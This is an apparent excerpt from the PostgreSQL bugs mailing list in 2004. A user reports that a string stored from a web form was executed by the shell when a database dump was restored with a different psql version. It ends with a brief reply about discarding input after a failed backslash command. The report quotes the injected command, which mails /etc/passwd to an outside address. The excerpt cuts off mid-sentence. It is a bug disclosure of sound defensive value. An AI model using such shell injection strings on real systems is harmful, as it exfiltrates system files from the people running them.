Re: [BUGS] syntax error causes crafted data to be executed in shell

2004-12-17 Thread Thomer M. Gil
> On looking at this further, I wonder if it wouldn't be a good idea for > a failed backslash command to cause the rest of the input line to be > discarded. I think that is reasonable. Thomer ---(end of broadcast)--- TIP 9: the planner will ignore

[BUGS] syntax error causes crafted data to be executed in shell

2004-12-17 Thread Thomer M. Gil
Short summary: 1. Someone wrote "`mail [EMAIL PROTECTED] < /etc/passwd`" in a web form; this string was stored in a postgresql database. 2. We ran pg_dump 3. We ran psql (not the same version as pg_dump!) 4. [EMAIL PROTECTED] receives /etc/passwd More details and the,